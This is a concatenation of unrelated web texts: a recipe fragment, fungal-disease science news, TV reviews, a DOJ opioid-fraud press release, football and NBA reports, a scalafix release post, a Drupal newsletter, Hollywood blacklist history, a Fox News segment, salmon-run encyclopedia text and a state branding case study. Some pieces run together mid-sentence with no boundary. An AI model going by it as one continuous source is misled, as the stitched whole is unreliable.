1 TB + 1 tsp crushed pink peppercorn
1/2 cup olive oil Instructions Combine all ingredients and let sit for 3 hours at room temperature before serving. Store leftovers in refrigerator.
We make a big batch of these marinated castelvetrano olives and keep them in the fridge. I'm not sure just how long you could keep them as they rarely last longer than a week in our home, but I'd imagine that the oil helps to preserve them for a good bit longer than a week.
Pin for your future reference.
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I have published printable PDFs of several of my most popular knit patterns and printables and have made those available to all of my subscribers. I will also continue to add patterns and printables to this page as we go along, so come back and check every now and again. So, if you'd like to get in on the ‘subscriber benefit' action, simply subscribe to Nourish and Nestle using the form on the right sidebar, towards the top a bit, or by clicking the box right below. I have sent all my subscribers the link |
’s a really cool idea,” says Leah Cowen, a medical mycologist at the University of Toronto. What’s striking about the new study is that the model is simple, “but the vision is large,” potentially answering a huge question in evolutionary biology. “This is a big picture question addressed by a simple mathematical model.”
The real mark of a good model is whether it can make predictions, says Joseph Heitman, a microbiologist and geneticist at Duke University. This model is “really creative and a bit out there,” he says, but “one of the beauties of it is that it is fairly straightforward.”
One might predict from this model that raising an animal’s temperature would lead to greater resistance to fungi. Lowering body temperature would then be expected to make animals more vulnerable to fungal infections.
Frogs and other amphibians in decline around the world—in part because of infections with a chytrid fungus—may provide some evidence that the theory is correct. Warming up infected frogs can help clear them of the fungus, Heitman says.
Reducing a mammal’s temperature in the laboratory to find out whether lower body temperatures lead to fungal disease is difficult because messing with body temperature can affect many other biological processes. But hibernating bats may provide a clue that Casadevall is onto something, says David Blehert, a microbiologist with the U.S. Geological Survey’s National Wildlife Health Center in Madison, Wis.
Blehert studies white-nose syndrome, a fungal disease that is killing bats in large numbers in the eastern United States. A fungus called Geomyces destructans infects bats while they are hibernating—a time when body temperatures drop from 40° C to about 7°. “They’re not warm-blooded when they get infected,” Blehert says. When bats are up and around and at their normal body temperature, they seem impervious to the infection, he says.
In a report published November 11 in BMC Biology, Blehert and others described how the fungus, which erodes and replaces the bat’s skin, damages wings and leads to death. Casadevall’s idea has “become important in our thinking about this disease,” Blehert says.
The idea of a link between fungal disease and body temperature is not controversial among scientists, Blehert says. “It’s very logical.”
---No one told us life was going to be this way – or that a much-hyped special about TV’s best sitcom would be so awful
On 21 February in the year of our lord 2016, five former co-workers sat on a sofa on national television and nothing happened. Not even one chuckle was had. I am talking about the much-touted “Friends reunion” (minus Matthew Perry) that happened on Must See TV: An All-Star Tribute to James Burrows. It was one of the most intensely boring two hours I have ever endured.
The special, commemorating the 1,000th episode of TV that Burrows has directed, reunited the stars from his most famous shows – Taxi, Will & Grace, Big Bang Theory, Frasier, Cheers and, of course, Friends. I have no idea what people were expecting to happen. Just like all the other casts, the five Friends sat on stage looking older and shared a few favourite moments and behind-the-scenes stories. But there was nothing more insightful than the Oprah Winfrey interview the cast did 12 years ago, before the groundbreaking sitcom went off the air. They didn’t reveal whether or not they had to sign contracts saying they wouldn’t sleep with each other – although it did appear that Lisa Kudrow was the only one who had to audition for her part.
There was one good moment, when the five were trying to find their seats on the couch and did a little rearranging dance, with Matt LeBlanc eventually shoving Jennifer Aniston to the fore. It seemed unrehearsed and lighthearted, showing the dynamic that made this team so famous (and rich) decades ago. It was one of few funny moments in a show that was otherwise like attending the retirement party for someone you’ve never met. Here are some of the worst moments:
Facebook Twitter Pinterest Back to the 90s... the cast of Friends. Photograph: NBC via Getty Images
1 The one with the Friends reunion
We learned the near-interesting tidbit that Aniston, Kudrow and Courteney Cox had lunch together on set every single day for 10 years, and that they always ate the same thing: a “Jennifer salad”. We know Aniston made it, but what was in it? The host, Andy Cohen, never followed up, so we’ll always be left wondering. We did learn that Burrows got LeBlanc to let a hockey puck fly in his face. Glad we got that priceless morsel! Oh, and Burrows let the cast play poker in his dressing room. Thank God we found that out!
2 The one with the pre-taped messages
Debra Messing, Matthew Perry and Kelsey Grammer couldn’t make it, so they sent special messages. These are comic actors sending praise to one of the greatest comic directors of all time – and not one of them bothered to write a single joke. Instead, they rambled on with earnest platitudes that could have been said about anyone.
3 The one with the ill-advised impersonations
Many of the people on stage decided to do impersonations of Burrows. That might have been touching, but for the fact that the audience at home had absolutely no idea what the guy sounds or acts like.
4 The one with the chronic-sitcom syndrome
This was supposed to be a comedy special – so why was it so spectacularly unfunny? The worst offenders were the bits that occasionally broke up the casts talking about their shows. There was the smile-free opening in which Will & Grace star Sean Hayes got all the old stars together; a fake public service announcement about “chronic sitcom name confusion syndrome”, in which everyone still screams “Norm!” at actor George Wendt; and Kelsey Grammer trying out roles from other sitcoms.
5 The one with the shameless plugs
Halfway through the show Patrick Warburton, the star of the upcoming NBC sitcom Crowded, told everyone that Burrows’ 1,000th episode of TV would come on this as-yet-unreleased series; the trailer then played. To get into the spirit, Perry took the time in his message to awkwardly plug The End of Longing, the play he wrote and directed in London. The worst part of watching any TV show is the commercials – especially when those commercials are inside that very TV show.It has been 40 years since The Rocky Horror Picture Show came out, 40 years of midnight screenings filled with men and women alike dressed in fishnets, shouting obscenities and throwing things behind them. 40 years later and it shows no signs of dying down. It still screens every week, all over the world.
In commemoration of this landmark anniversary Entertainment Weekly reunited five members of the now legendary cast, Barry Bostwick (Brad), Susan Sarandon (Janet), Patricia Quinn (Magenta), Meatloaf (Eddie) and the great Tim Curry (Dr. Frank N Furter). It’s truly awesome for any fan to see these five together again and getting involved in the 40th Anniversary celebration. Just a few weeks ago Bostwick and Quinn, along side fellow cast member Nell Campbell (Columbia) appeared at the 40th Anniversary Rocky Horror Convention in New York City.
To read more about this reunion and to find out where you can purchase the full article and interview click HERE.
SaveJuly 15, 2014 - The public is invited to respond to concepts for Fort Wayne’s downtown riverfront at one of two public input meetings. Both meetings will take place downtown at the main branch of the Allen County Public Library in the theater. The meetings are set for:
Wednesday, July 23, 2014, 5:30-7:30 p.m. with a presentation at 5:45 p.m.
Thursday, July 24, 2014, 11 a.m.-1p.m. with a presentation at 11:15 a.m.
“Enhancing our downtown riverfront is critical to maintaining our city’s momentum,” said Fort Wayne Mayor Tom Henry. “As we enter the next phase of the Riverfront Fort Wayne study, citizen input is more critical than ever. I invite everyone to get involved and let us know what you’d like to see happen along our rivers.”
In November 2013, the City contracted with SWA Group to complete the Riverfront Study, which is the first comprehensive look at enhancing the use of our city’s rivers; it is intended to provide the road map to world class investment.
During the public input meetings, SWA will present specific concepts and ask citizens to respond. After the meetings, individuals may visit the Envision Fort Wayne Center, 916 S. Calhoun St., and examine SWA’s concepts and provide feedback as well. The Envision Center is open Tuesdays 2-6 p.m., Thursdays 11 a.m.-3 p.m. and Fridays 11 a.m.-3 p.m. Additionally, citizens will be able to go online to www.RiverfrontFW.org and comment on the draft concepts.
After reviewing citizen input, SWA Group will refine the concepts and present more refined ideas for feedback in October. A final plan is expected to be unveiled in January 2015.Deirdre M. Daly, United States Attorney for the District of Connecticut, Michael J. Ferguson, Special Agent in Charge of the Drug Enforcement Administration for New England, today announced that two doctors who have operated a medical practice in Norwalk have been charged by federal criminal complaint with writing prescriptions outside the scope of legitimate medical practice, health care fraud and money laundering.
Dr. BHARAT PATEL, 70, of Milford, was arrested yesterday at his residence. He appeared before U.S. Magistrate Judge William I. Garfinkel in Bridgeport and is detained pending a detention hearing that is scheduled for July 17.
Dr. RAMIL MANSOUROV, 47, of Darien, is currently being sought by law enforcement.
As alleged in the criminal complaint, PATEL and MANSOUROV are physicians who operated out of Family Health Urgent Care, located at 235 Main Street in Norwalk. The medical practice was formerly known as Immediate Health Care, which was owned by PATEL. In approximately 2012, MANSOUROV purchased the practice from PATEL and renamed it Family Urgent Health Care, and PATEL continued to work at the practice. PATEL and MANSOUROV are participating providers with Medicare and the Connecticut Medicaid Program. Beginning in approximately 2013, the Drug Enforcement Administration received information that PATEL and MANSOUROV may be writing prescriptions for controlled substances outside the scope of legitimate medical practice.
The complaint alleges that PATEL regularly provided prescriptions for narcotics, including oxycodone and hydrocodone, to patients that he knew were addicted or had been arrested for distributing or possessing controlled substances. On numerous occasions, PATEL provided prescriptions to patients who paid him $100 in cash for each prescription. In certain instances, PATEL would write prescriptions for individuals who were not his patients in exchange for cash. At times, when PATEL was not available, MANSOUROV provided PATEL’s patients with unnecessary prescriptions. PATEL and MANSOUROV also regularly provided post-dated prescriptions to individuals, sometimes with dates that matched future dates when the doctors would be out of the country.
It is alleged that certain individuals who paid PATEL cash for prescriptions paid for the filled prescriptions by using a state Medicaid card, and then illegally distributed the drugs. The investigation revealed that in 2014 alone, more than $50,000 in cash deposits were made into PATEL and his wife’s bank accounts, and that some of these funds were used to purchase PATEL’s current residence.
The complaint further alleges that between November 2013 and December 2016, MANSOUROV defrauded the state’s Medicaid program of more than $4 million by billing for home visits that he never made, billing for nursing home visits that he never made, billing for office visits that never happened, and billing for visits that he claimed took place on dates on which he was actually out of state or out of the country. Billing records also reveal that, on some occasions, MANSOUROV and PATEL billed Medicaid for the same patient on the same day at two different locations.
It is alleged that MANSOUROV moved some of the stolen funds to a bank account in Switzerland.
“These two doctors are charged with violating their oaths and recklessly prescribing highly addictive painkillers,” said U.S. Attorney Daly. “Dr. Patel is alleged to have regularly sold to addicts solely for his own profit. Many of these patients filled the prescriptions using state healthcare benefits, and then turned around and sold the pills on the street, contributing to our devastating opioid epidemic. Some addicts referred to these defendants’ medical practice as ‘The Candy Shop.’ Dr. Mansourov is also charged with bilking state and federal governments of over 4 million dollars through a phony billing scheme. I thank the DEA’s Tactical Diversion Squad, the Norwalk Police Department and the Connecticut Attorney General’s Office for their excellent work in shuttering this medical practice.”
“The DEA is committed to enforcing the Controlled Substance Act (CSA) by ensuring that all registrants are in compliance and abide by DEA’s distribution regulations,” said Special Agent in Charge Ferguson. “The reckless actions by these two doctors by writing prescriptions outside the scope of their legitimate medical practice contributed to the widespread abuse of opiates, which is a gateway to heroin addiction and is devastating our communities. In response to the ongoing opioid epidemic DEA is committed to improve public safety and public health by working with our law enforcement and regulatory partners to ensure these rules and regulations are strictly followed. This investigation demonstrates the strength of collaborative law enforcement in Connecticut and our great partnership with the U.S. Attorney’s Office.”
The complaint charges PATEL and MANSOUROV with conspiracy to distribute and to possess with intent to distribute narcotics, an offense that carries a maximum term of imprisonment of 20 years; health care fraud, an offense that carries a maximum term of imprisonment of 10 years, and conspiracy to commit money laundering, an offense that carries a maximum term of imprisonment of 10 years.
U.S. Attorney Daly stressed that a complaint is only a charge and is not evidence of guilt. Charges are only allegations, and each defendant is presumed innocent unless and until proven guilty beyond a reasonable doubt.
This investigation is being conducted by the DEA’s New Haven Tactical Diversion Squad and the Norwalk Police Department, with the critical assistance of the Connecticut Office of the Attorney General. The DEA Tactical Diversion Squad includes officers from the Bristol, Greenwich, Hamden, Milford, New Haven, Shelton, Vernon and Wilton Police Departments. The case is being prosecuted by Assistant U.S. Attorney Rahul Kale.Leicester City may have to wait until May to seal the Premier League title but have already taken the crown as the best club in the Midlands this season.
The Foxes will finish as the highest-placed team in the Midlands for the first time since 1963 after closest challengers Stoke - in the west of the area - drew with Swansea on Saturday.
Leicester - who extended their lead at the top with a 1-0 win over Southampton - could last boast to be the best side in the Midlands 53 years ago, when, after leading the First Division with five games to go, they slipped to fourth after losing four and drawing one of their final games.
League leaders Leicester have been crowned the best side in the Midlands for the first time since 1963
The Foxes are currently seven points clear at the top and can not finish below nearest Midland rivals Stoke
Ibrahim Afellay scored against Swansea - however Stoke's draw means they cannot finish above Leicester
Leicester are top of the Premier League table and are seven points clear of second-placed Tottenham
MIDLAND TITLE WINNERS SINCE '63 Aston Villa - 22 Nottingham Forest -14 West Brom - 6 Derby - 5 Wolves - 2 Stoke - 2 Leicester - 2 Birmingham - 1
Claudio Ranieri's side - seven points clear of second-placed Tottenham with six games to go - will be desperate to avoid a similar capitulation as they close in on their first-ever top division title.
Aston Villa have dominated Midlands football over the last five decades.
The Villa Park club have taken the crown locally for 22 of the 53 years since Leicester last topped the charts and are Premier League-ever presents.
However, they look certain to lose that title with relegation looming as they sit rooted to the bottom of the table, 15 points adrift of safety.
Nottingham Forest are second with 14 'titles' thanks to the glory years under Brian Clough during which they won two European Cups in 1979 and 1980.
West Brom are third in the list having finished highest on six occasions since 1963 with Derby next after beating their rivals to the highest spot five times.
Wolves and Stoke have come out on top just twice while Birmingham have managed to finish highest on just one occasion.
Aston Villa have dominated Midlands football scene but now look certain to be relegated from the top-flightMonday 24 October 2016 Ólafur Páll Geirsson
BLOG
I am excited to announce the first release of scalafix, a new tool to prepare Scala code for future Scala versions, including Scala 2.13 and beyond as well as Dotty, a next generation Scala compiler.
This effort follows the Scala Center Advisory Board proposal: “Clarification of Scala to Dotty migration path”.
What can scalafix do?
Scalafix takes care of easy, repetitive and tedious code transformations so you can focus on the changes that truly deserve your attention. In a nutshell, scalafix reads a source file, transforms usage of unsupported features into newer alternatives, and writes the final result back to the original source file. Scalafix aims to automate the migration of as many unsupported features as possible. There will be cases where scalafix is unable to perform automatic migration. In such situations, scalafix will point to the offending source line and provide instructions on how to refactor the code. The objective is that your existing Scala code base gets up and running faster with new Scala versions.
Scalafix and Scala 2
Scala 2.13 is still being planned, so we don’t know yet exactly what language changes it will include. But with Scalafix available to help migrate existing code, changes could become possible that would previously have been considered too disruptive because they would require too much code to be updated by hand. Possible examples include:
Rewriting code to avoid the use of the now-disfavored language.postfixOps syntax
syntax Deprecation of any2StringAdd, in favor of string interpolation
, in favor of string interpolation Deprecation of procedure syntax, as in Dotty
Changes to the Scala collections API
Scalafix and Dotty
There is a lot to be excited over in Dotty, faster compilation times, faster+smaller binaries and awesome error messages to name a few things. However, some Scala 2.x applications can’t immediately enjoy these benefits due to several breaking changes in Dotty. Scalafix is part of our strategy to smoothen the migration process for those applications.
What can scalafix do?
Scalafix comes with a command line interface and an SBT plugin. Running scalafix is as simple as:
# CLI scalafix Code.scala # SBT, after adding plugin to project/plugins.sbt sbt scalafix
More detailed instructions on how to setup scalafix are on the project website.
This initial release implements two rewrites: ProcedureSyntax and VolatileLazyVal. More rewrite rules are planned for future releases.
The ProcedureSyntax rewrite works like this:
// before def main ( args : Seq [ String ]) { // note lack of '=' println ( "Hello scalafix!" ) } // after def main ( args : Seq [ String ]) : Unit = { // note ': Unit =' println ( "Hello scalafix!" ) }
Deprecating or dropping procedure syntax is part of a general effort to simplify the Scala language.
The VolatileLazyVal rewrite adds Dotty’s @volatile annotation to lazy vals, like this:
lazy val x =... // before @volatile lazy val x =... // after
With @volatile, Dotty uses a deadlock free scheme that is comparable-if-not-faster than the scheme used in scalac.
How does scalafix work?
All the heavy-lifting behind scalafix happens in scala.meta, a new metaprogramming toolkit aspiring to succeed scala.reflect. Scala.meta makes it easy to do non-trivial code transformations while preserving syntactic details in the original source file. This key attribute of scala.meta makes it suitable for both developer tools like scalafix as well as compile-time metaprograms like macros.
The grand vision of scala.meta is to provide a single interface to accomplish most common metaprogramming tasks in Scala. The idea is to untie metaprograms from compiler implementations, providing a platform-independent API that works both in the Scala compiler, Dotty and tools like IntelliJ IDEA. Metaprogram authors benefit from a user-friendly interface built on immutable ADTs and type classes. Compiler authors benefit from the fact that they don’t need to expose compiler internals in order to support popular features like macros.
In scalafix, we use the scala.meta API to parse Scala source files, traverse abstract syntax trees, inspect tokens (including comments!) and then perform the minimum required transformations to the source file. Thanks to scala.meta dialects, which abstract away syntactic differences between variants of Scala, we can use the same programs to manipulate regular Scala source files, SBT files as well as code that uses new Dotty syntax such as union types and trait parameters. All this powerful functionality is implemented behind a minimalistic interface. The NonVolatileLazyVal implementation is 15 lines of code. It could comfortably fit in three tweets.
We would not be able to achieve this level of expressiveness with scala.reflect, the current standard metaprogramming framework for Scala. Why? To name a few reasons, scala.reflect does not preserve syntactic details such as comments and scala.reflect has no notions of dialects, so it is bound to only support Scala 2.x.
How does scalafix evolve?
As we have seen above, the functionality of scalafix heavily relies on the infrastructure provided by scala.meta. However, in order to write more sophisticated scalafix rewrite rules, there are two main features missing in scala.meta, namely a scalac converter and semantic API. We are closely collaborating with Eugene Burmako, the lead developer of scala.meta, in the development efforts of these two features.
Scalac converter
The scalac converter is a key subsystem of scala.meta. For every Scala feature, the converter recognizes its representation in the Scala compiler and translates it into the corresponding data structures of the scala.meta API.
Over the last months, we’ve made great improvements to the converter, which is under development in the scalameta/paradise repository. We have established a comprehensive test suite that consists of a sample of over 26.000 Scala source files collected from popular open-source projects. Thanks to the joint effort of the team of scala.meta contributors, the converter now supports about 19.000 source files form the test corpus. We are continuously working to increase that number, aiming to bring language coverage to 100%.
Semantic API
The semantic API will enable scala.meta programs to inspect compiler information such as type inference, name resolution and other functionality that requires a compilation step. This opens opportunities for new scalafix rewrite rules that cannot be done on a purely syntactic level, like NonVolatileLazyVal and ProcedureSyntax.
We already have a working prototype of the first scalafix rewrite that uses the semantic API: ExplicitImplicit. ExplicitImplicit inserts type annotations for implicit definitions, like this:
// before implicit val x = ( _: String ). length // after implicit val x : String => Int = ( _: String ). length
ExplicitImplicit requires the semantic API in order to get the inferred type annotations.
Towards new-style macros
One could say that by contributing to scala.meta, we get two features for the price of one. First, an improved converter and semantic API enables us to implement more sophisticated scalafix rewrite rules. Secondly, we accelerate the development of a new macro system that will work both with scalac and Dotty.
As announced at Scala Days 2016, the current macros based on scala.reflect will be going away. Such macros have a number of known issues, including over complicated API and lacking IDE support. More importantly, the deep coupling between old-style macros and scalac means macros written in the old system effectively cannot be ported to Dotty. The plan is to discontinue support for scala.reflect macros in favor of a new macro system called inline/meta.
A technology preview of the new-style macros came out this summer. This early release is still somewhat rough around the edges. Nevertheless, scalafmt is already using these new macro annotations in production for more than a month now. If you are interested in learning more, the best place to get started is the Whirlwind Tour of scala.meta.
Much like scalafix, new-style macros crucially rely on the infrastructure provided by scala.meta. Concretely, the converter and the semantic APIs constitute a significant chunk of the implementation effort behind the new macro system.
Interestingly, our contributions to scala.meta were originally motivated by the needs of scalafix. However, they are also immediately helping the development of this new universal macro system for Scala. We are excited that our open-source collaboration with the scala.meta team brings multiple benefits for the good of everyone!
Get involved
Are you interested in metaprogramming, developer tools and running experiments on millions of lines of Scala code? Come chat with us on Gitter, and we’ll discuss how you can make a difference in shaping the developer tools of the future!Issue 73 February 14th, 2013
Headlines
If you didn’t get to attend DrupalCon Sydney, have no fear. You can watch the Driesnote and many (if not all) of the sessions on Youtube.
I for one am pleased that YouTube is being used to host the DrupalCon Sydney video. Now I can easily watch them on my TV! Hats off to the Drupal Assoc and the Sydney community on from what I hear was a great event.
News
Don’t miss the deadline to submit your session for DrupalCon Portland. Get it in by February 15, 2013 at 11:59PM PST. That’s Friday!
I’ve mentioned Aaron Winborn who is suffering from ALS before but there are new people subscribing to the newsletter every week. Aaron has been an active part of the Drupal community for many years and needs our help. Please consider helping his family.
Haven’t found the time to take the 2.0 alpha for a spin yet but I’m very excited about it. Aegir is a key part of my Drupal stack and a super powerful tool for hosting and managing your Drupal sites.
Articles
Jared Ponchot has posted a what I would call a short manifesto over on the Lullabot site. I highly suggest you take a minute to read it and the articles he links to. Really good advice to follow.
Over on the Four Kitchens blog Chris Ruppel shares a receipt for implementing responsive images in Drupal. Great info.
I’ve mentioned Simplytest.me before but this post from Cathy Theys brought to my attention again this week. Cathy outlines how to use the free service to test patches. Simplytest.me makes it easy to spin up a Drupal site for testing, a really handy tool to have in your pocket.
Drupal Association executive director Holly Ross recaps DrupalCon Sydney.
Emma Jane Hogbin shares how she should have started a project. Posts like this are really great.
Drupal 8
Webchick’s (Angie Byron) video and slides from her Upgrading your modules to Drupal 8 talk at DrupalCon Sydney 2013, featuring the Pants module.
Xjm gives us a recap of the London VDC sprint and the new features being added to Drupal 8 including core token support, bulk actions checkbox, responsive Views administration, and more.
Tutorials
John Hannah of Friendly Machine has a nice tutorial to get you started with the @font-your-face module. @font-your-face allows you to use and configure web fonts in the Drupal admin.
Modules
Video
Get your deployment workflow streamlined without cracking open the terminal. Oh, and this new series from Drupalize.Me is free.
Podcasts
Jobs
Do you like to work with smart people and be challenged on a daily basis? Then we're looking for you, if you have 2+ years as a Drupal developer with a solid understanding of the framework, coding best-practices, resources and community.
Wanna get the word out about your great Drupal job? Getting your listing in TheWeeklyDrop is easy using our self service posting system.
Finally
If you have a community project you need to host be sure to check out the free Acquia Managed Cloud Hosting package. Don’t let the cost of hosting hinder getting your community project off the ground.The 11 alleged communists, or “unfriendly” witnesses, were asked, “Are you now or have you ever been a member of the Communist Party?” Just one, playwright Bertolt Brecht, answered the question, saying that he had never been a member of the party.The other 10—screenwriters Alvah Bessie, Lester Cole, John Howard Lawson, Albert Maltz, Ring Lardner Jr., Samuel Ornitz and Dalton Trumbo, directors Herbert Biberman and Edward Dmytryk, and producer Adrian Scott—refused to answer, citing their First Amendment rights. The “Hollywood Ten” were held in contempt of Congress and given prison sentences of six months to a year.The following day, members of the Association of Motion Picture Producers met secretly at the Waldorf Astoria Hotel in New York and issued what is now known as the “ Waldorf Statement.” It read, “We will forthwith discharge or suspend without compensation those in our employ and we will not re-employ any of the 10 until such time as he is acquitted or has purged himself of contempt and declares under oath that he is not a Communist.” The Waldorf Statement effectively established the “Hollywood Blacklist” that would exist over the next decade. Many in Hollywood who had belonged to communist organizations or held communist or socialist sympathies would be called before HUAC. They faced a difficult choice; they could either cooperate with the committee and inform on their colleagues or they could refuse to testify, effectively ending their careers. Don’t present me with the choice of either being in contempt of this Committee and going to jail or forcing me to really crawl through the mud to be an informer,” said actor Larry Parks before HUAC’s second round of hearings in 1951. Parks would agree to testify, admitting that he once belonged to a communist organization and naming former colleagues. Others, most notably director Elia Kazan, would make the same choice, earning the scorn of others in Hollywood.Those who refused to testify would join the Hollywood Ten in being blacklisted, forced to work in theatre or move to Europe. Others worked under assumed names, like the Ten’s Dalton Trumbo, who won an Academy Award in 1956 under the name “Robert Rich.”The power of the blacklist began to deteriorate in the late 1950s, as there was a backlash to the rabid anti-communist actions of HUAC and Wisconsin Sen. Joseph McCarthy. Blacklisted writers slowly began to be hired, and in 1960 Trumbo became the first of the Ten to receive a writer’s credit since being blacklisted.A former Department of Justice official went on Fox & Friends over the weekend to discuss the passage of a Madison, Wisconsin city ordinance that prohibits businesses from discriminating against atheists.
According to J. Christian Adams, the campaign to pass the ordinance was spearheaded by the Freedom From Religion Foundation, a “very powerful” group that “hectors governments to pass anti-Christian, anti-religious ordinances. They team up with government, for example, they were behind getting the IRS to monitor sermons and homilies by Christian pastors.”
“This is a group that’s filled with hostility toward people of faith,” he added.
“That’s right,” Fox News host Tucker Carlson replied. “It’s never just about tolerating their views, it’s about attacking other people’s views.”
He then quoted Madison City Councilwoman Anita Weier, who said that the protections are “only fair,” because “if we protect religion, in all its varieties, we should also protect non-religion from discrimination.”
“That does, in some sense,” Carlson said, “seem fair. But that’s not exactly their aim, is it?”
“No,” Adams replied, “and it never works out that way. Not only does it bring in lawsuits, but don’t forget — this is a local ordinance, Tucker. That means that a whole body of bureaucrats will spring up [and be] tasked with hectoring people of faith, badgering people of faith in Wisconsin who might not want to hire somebody.”
“There’s a lot of reasons why Christians or Jews might not want to hire an atheist,” he continued. “In fact, it’s in the New Testament. It says things like avoid them and disassociate with them. You might have a job, for example, where you want someone who believes in a higher power.”
“For example,” Adams said, “maybe you’re an airline and hiring pilots who you prefer they maybe believe in Hell. To tell people that you can’t only hire people of faith intrudes on their free exercise of faith.”
After being read a statement from the Freedom From Religion Foundation in which it implored atheists and agnostics “to work to introduce and replicate this protection at their city, county or even state levels,” Adams said that he knows that people will attempt to do just that.
“These people are so committed to their own very of theology. They have such hatred of Christians and Jews publicly exercising their faith,” he said. “Christians and Jews have been putting up with this for thousands of year — people who don’t like that they believe. We’re pretty much used to it by now.”
“There’s a political element here,” Carlson added. “If there’s no God, then the highest authority is government.”
Watch the entire segment with J. Christian Adams below via Fox News.Grizzly bear fishes for a salmon during a salmon run.
The salmon run is the time when salmon, which have migrated from the ocean, swim to the upper reaches of rivers where they spawn on gravel beds. After spawning, all Pacific salmon and most Atlantic salmon[1] die, and the salmon life cycle starts over again. The annual run can be a major event for grizzly bears, bald eagles and sport fishermen. Most salmon species migrate during the fall (September through November).[2]
Salmon spend their early life in rivers, and then swim out to sea where they live their adult lives and gain most of their body mass. When they have matured, they return to the rivers to spawn. Usually they return with uncanny precision to the natal river where they were born, and even to the very spawning ground of their birth. It is thought that, when they are in the ocean, they use magnetoception to locate the general position of their natal river, and once close to the river, that they use their sense of smell to home in on the river entrance and even their natal spawning ground.
In northwest America, salmon is a keystone species, which means the impact they have on other life is greater than would be expected in relation to their biomass. The death of the salmon has important consequences, since it means significant nutrients in their carcasses, rich in nitrogen, sulfur, carbon and phosphorus, are transferred from the ocean to terrestrial wildlife such as bears and riparian woodlands adjacent to the rivers. This has knock-on effects not only for the next generation of salmon, but to every species living in the riparian zones the salmon reach.[3] The nutrients can also be washed downstream into estuaries where they accumulate and provide much support for estuarine breeding birds.
Background [ edit ]
Adult ocean phase and spawning phase pink salmon (male) Sac fry remain in the gravel habitat of their redd (nest) until their yolk sac, or "lunch box" is depleted After depleting their yolk sac nutrients, the young salmon emerge from the gravel habitat as parr to feed
Most salmon are anadromous, a term which comes from the Greek anadromos, meaning "running upward".[4] Anadromous fish grow up mostly in the saltwater in oceans. When they have matured they migrate or "run up" freshwater rivers to spawn in what is called the salmon run.[5]
Anadromous salmon are Northern Hemisphere fish that spend their ocean phase in either the Atlantic Ocean or the Pacific Ocean. They do not thrive in warm water. There is only one species of salmon found in the Atlantic, commonly called the Atlantic salmon. These salmon run up rivers on both sides of the ocean. Seven different species of salmon inhabit the Pacific (see table), and these are collectively referred to as Pacific salmon. Five of these species run up rivers on both sides of the Pacific, but two species are found only on the Asian side.[6] In the early 19th century, Chinook salmon were successfully established in the Southern Hemisphere, far from their native range, in New Zealand rivers. Attempts to establish anadromous salmon elsewhere have not succeeded.[7]
The life cycle of an anadromous salmon begins and, if it survives the full course of its natural life, usually ends in a gravel bed in the upper reaches of a stream or river. These are the salmon spawning grounds where salmon eggs are deposited, for safety, in the gravel. The salmon spawning grounds are also the salmon nurseries, providing a more protected environment than the ocean usually offers. After 2 to 6 months the eggs hatch into tiny larvae called sac fry or alevin. The alevin have a sac containing the remainder of the yolk, and they stay hidden in the gravel while they feed on the yolk. When the yolk has gone they must find food for themselves, so they leave the protection of the gravel and start feeding on plankton. At this point the baby salmon are called fry. At the end of the summer the fry develop into juvenile fish called parr. Parr feed on small invertebrates and are camouflaged with a pattern of spots and vertical bars. They remain in this stage for up to three years.[16][17]
As they approach the time when they are ready to migrate out to the sea the parr lose their camouflage bars and undergo a process of physiological changes which allows them to survive the shift from freshwater to saltwater. At this point salmon are called smolt. Smolt spend time in the brackish waters of the |
agencies by creating the first consistent identity system for the state. This system had to include comprehensive brand guidelines and sub-logos for all departments and take into account how to design for new agencies or departments that could be created in the future. This system also had to take into account the myriad of applications, including everything from signage and brochures to computers and mobile devices. Our Objective: Improve and strengthen the Tennessee State Government brand by creating the state’s first consistent graphic identity.
Before: Tennessee State government as a “House of Brands” After: First consistent graphic identity for Tennessee State Government
The Process We conducted several collaborative sessions with representatives across all state agencies. We learned what kinds of challenges they faced, what was working and what wasn’t. We also gained insights from citizens. By bringing together this diverse group of government employees and citizens of the State of Tennessee, we were able to identify key areas of shared concern across all agencies. It became clear to the agency that the approach required was to move state agency identifiers to a “Branded House” model. This would help create efficiency and maximize clarity. The Branded House approach would also help build equity for all agencies as it helped the state leverage these agencies as a powerful enterprise.
Ideation Phase
Next, we looked at how other governments had solved similar challenges to gain insight into what has worked in the past. We also looked to the private sector to help influence how we want to be viewed by outsiders in business. As we began working on the actual visual identity system, we did additional research on how other governments had solved this challenge and on the history of the State of Tennessee. We explored hundreds of symbols, including everything from the popular Tri-Star and geographic cues to department symbolism and more. As our exploration evolved, we made sure that individual marks for each agency could ladder up to an overall vision, building separation through color palettes and a shared system.
Tennessee State Flag, State Seal and State Government Logo
Coexisting with the State’s Rich Heritage Along with the need for us to create something that was simple and clear, we were also tasked with creating something that was completely ownable — something that wouldn’t be confused with other state iconography. This was a key reason for avoiding the state’s beloved Tri-Star — which has been used in thousands of applications from sports and healthcare to waste management and more. Ultimately, we developed a mark that takes visual cues from the state flag and works in harmony with the state seal and the Tri-Star. One Mark for Tennessee — Inspired by History, Pointed at the Future After exploring hundreds of conceptual directions and even more marks, we landed on a simple and clear mark that is easily recognizable and scalable. This system is one that all agencies could use as part of a Branded House. It’s efficient, modern and still hints at the state’s rich history. Most importantly, the mark and the system are effective at letting citizens and employees know that Tennessee doesn’t operate as 23 individual departments — but as one statewide enterprise doing great things for the citizens of Tennessee.After superstar Paul George informed the Pacers in no uncertain terms that he plans to leave the team, Indiana began shopping George's services this weekend, including making a phone call to the Cleveland Cavaliers, sources confirmed to ESPN on Sunday.
George reportedly told the Pacers that he will opt out of his contract in 2018 and become an unrestricted free agent.
George's admission, first reported by The Vertical, prompted Pacers general manager Kevin Pritchard to begin canvassing the league for potential offers for the four-time All-Star, who averaged 23.7 points, 6.6 rebounds, 3.3 assists and 1.6 steals per game this season. He upped that production to 28 points, 8.8 rebounds, 7.3 assists and 1.8 steals in a first-round playoff loss to Cleveland in April.
The Cavs are willing to enter into trade talks for George without any assurances he will commit to a long-term deal in Cleveland, a source familiar with the Cavs' thinking told ESPN. Cleveland is confident its championship culture and overall atmosphere could sway George to want to stay after playing out the 2017-18 season.
That said, there are only two assets the Cavs possess that would likely grab the Pacers' attention in a potential swap (operating under the assumption that LeBron James is untouchable): Kevin Love and Kyrie Irving.
And to part with either the 25-year-old Irving or the 28-year-old Love, both coming off All-Star seasons and on relatively economical long-term deals, without any verbal commitment from George, 27, that he planned to stay in Cleveland beyond 2018, would be "hard" to agree to, one source familiar with the Cavs' thinking told ESPN.
